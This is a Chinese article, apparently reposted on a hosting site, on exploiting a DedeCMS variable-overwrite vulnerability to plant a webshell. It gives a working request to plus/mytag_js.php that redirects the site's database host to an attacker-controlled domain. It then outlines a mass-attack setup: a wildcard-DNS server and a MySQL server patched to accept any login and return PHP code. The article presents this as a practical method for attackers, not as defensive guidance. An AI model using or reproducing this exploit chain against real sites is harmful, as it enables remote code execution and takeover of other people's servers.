鸿 网 互 联 www.68idc.cn

当前位置 : 主页 > 网站安全 > 安全设置 > >

一个dedecms变量覆盖漏洞的猥琐利用方法

来源:互联网 作者:佚名 时间:2015-10-19 08:46
最近的那个dedecms变量覆盖漏洞,最后可以控制全局变量,但不能完全控制 $GLOBALS[$v1] .= $v2;注意这里是递加的,是在已初始化的全局变量内容上再递加内容。 现在已公开的漏洞利用方法是控制cfg_dbprefix全局变量里的数据库表前缀,然后再用ExecuteNoneQuery
最近的那个dedecms变量覆盖漏洞,最后可以控制全局变量,但不能完全控制
 
$GLOBALS[$v1] .= $v2;注意这里是递加的,是在已初始化的全局变量内容上再递加内容。
 
现在已公开的漏洞利用方法是控制cfg_dbprefix全局变量里的数据库表前缀,然后再用ExecuteNoneQuery2点进行SQL注入。不过这个点只能update,要直接GET WEBSHELL,需要mytag表中已经有记录,再update normbody字段的内容,利用dedecms的缓存机制GET WEBSHELL。如果dedecms默认这个表是空的,或者缓存已经生成过占了坑,就没办法GET WEBSHELL了!
 
除开这个方法,还有另外一个利用方法,假设原有程序的全局变量是$GLOBALS['cfg_dbhost']= 'locahost',变量内容是递加,那么我们能控制cfg_dbhost为locahost.80sec.com,把原有的cfg_dbhost变成连向我们的子域名locahost.80sec.com。
 
类似:
 
plus/mytag_js.php?aid=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=104&arrs1[]=111&arrs1[]=115&arrs1[]=116&arrs2[]=46&arrs2[]=56&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=99&arrs2[]=111&arrs2[]=109 $v1=cfg_dbhost
$v2=.80sec.com不过这个要大规模利用,成本就有稍微点高了:
 
1.需要一台泛解析域名的服务器
 
弄成泛解析域名是为了能大规模自动化攻击,可以让程序连任意的子域名*.xx.com,都能反连到我们的mysql。
 
2.需要patch mysql
 
可以修改一下mysql源代码,整成任意用户名和密码都能登陆,类似于cve-2012-2122那个漏洞的效果。
 
再让数据库怎么连怎么查都强制返回dedecms mytag表中含有PHP代码的记录,这个就需要修改源代码里的 mysql_query函数了。
 
网友评论